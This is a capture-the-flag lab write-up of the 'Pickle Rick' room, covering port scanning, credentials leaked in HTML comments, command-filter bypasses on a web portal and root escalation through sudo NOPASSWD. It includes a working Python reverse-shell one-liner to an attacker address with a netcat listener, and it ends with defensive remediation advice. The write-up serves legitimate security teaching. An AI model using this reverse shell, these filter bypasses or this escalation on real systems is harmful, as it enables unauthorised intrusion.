← Back to all writeups
CTFroomEasyOS: Linux (Ubuntu)Target IP: 10.10.124.87

CTFroom: Pickle Rick — Web Enumeration, Command Injection & Sudo Abuse

A complete walk-through of the Pickle Rick room: uncovering credentials in HTML comments, bypassing basic bash command filters on the web portal, and escalating privileges to root via full sudo privileges.

Published: 2026-02-18·Est. 7 min read·Author: GomezGani Shaba
ReconnaissanceSource Code InspectionCommand InjectionSudo NOPASSWDLinux PrivEsc

Challenge Overview

Pickle Rick is an introductory challenge simulating a real-world scenario where poor access controls, client-side leaked credentials, and unfiltered administrative command execution lead to complete root compromise.


Phase 1: Reconnaissance & Port Scanning

We begin with a standard two-stage Nmap scan against the target IP to discover exposed network services:

bashterminal / script
# Fast SYN scan across all 65,535 ports
nmap -p- --min-rate 5000 -sS -oN nmap_allports.txt 10.10.124.87

# Service version and script detection on discovered ports
nmap -p 22,80 -sV -sC -oN nmap_services.txt 10.10.124.87

Scan Results

textterminal / script
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Phase 2: Web Enumeration & Credential Discovery

Navigating to http://10.10.124.87/, we inspect the page source (Ctrl+U). Hidden within the HTML comments, we identify the first clue:

htmlterminal / script
<!-- Note to self, remember username!
username: RICKRULZ2420 -->

Next, we run automated directory brute-forcing with gobuster and simultaneously inspect /robots.txt:

bashterminal / script
curl -s http://10.10.124.87/robots.txt
# Output:
Wubbalubbadubdub

The string Wubbalubbadubdub appears to be an unusual password or key.

Directory enumeration reveals /login.php. Testing the credentials:

  • Username: RICKRULZ2420
  • Password: Wubbalubbadubdub
  • Authentication succeeds, redirecting us to an administrative command execution panel at /portal.php.


    Phase 3: Command Injection & Filter Bypass

    The portal presents a command execution form allowing administrators to run diagnostics on the server. Attempting a basic command:

    bashterminal / script
    ls -la

    Yields directory contents, including Sup3rS3cretPickl3Ingred.txt.

    However, running cat Sup3rS3cretPickl3Ingred.txt returns:

    textterminal / script
    "Command disabled to make it harder for you!"

    The web application blacklists common inspection commands (cat, head, tail, more). We can bypass this filter using several alternative techniques:

    bashterminal / script
    # Method A: Using less / tac
    tac Sup3rS3cretPickl3Ingred.txt
    
    # Method B: Base64 encoding
    base64 Sup3rS3cretPickl3Ingred.txt | base64 -d
    
    # Method C: Strings command
    strings Sup3rS3cretPickl3Ingred.txt

    First ingredient recovered: mr. meeseek hair.


    Phase 4: Interactive Reverse Shell

    To escape the restrictive web form and obtain an interactive terminal, we set up a local Netcat listener on port 4444:

    bashterminal / script
    nc -lvnp 4444

    We execute a Python reverse shell one-liner through the web portal:

    bashterminal / script
    python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.8.x.x",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

    The connection arrives, granting us a shell as www-data. We upgrade to a full TTY:

    bashterminal / script
    python3 -c 'import pty; pty.spawn("/bin/bash")'
    export TERM=xterm

    Phase 5: Privilege Escalation to Root

    We immediately check our current user's sudo privileges:

    bashterminal / script
    sudo -l

    Output:

    textterminal / script
    Matching Defaults entries for www-data on ubuntu:
        env_reset, mail_fallback
    
    User www-data may run the following commands on ubuntu:
        (ALL) NOPASSWD: ALL

    www-data is permitted to execute any command as root without a password. We escalate directly:

    bashterminal / script
    sudo /bin/bash
    whoami
    # Output: root

    Navigating to /root, we read the final flag:

    bashterminal / script
    cat /root/3rd.txt
    # Output: fleeb juice

    Key Takeaways & Defense Remediation

  • Never Hardcode Credentials in Source Code: Client-side comments are visible to all users. Authentication secrets must never reside in templates.
  • Never Expose Unrestricted Command Execution: Command injection flaws can be eliminated by using fixed, parameterized APIs rather than passing user strings to system shells (exec, system).
  • Strict Sudo Principle of Least Privilege: Granting NOPASSWD: ALL to web-server service accounts (www-data) creates a catastrophic single point of failure.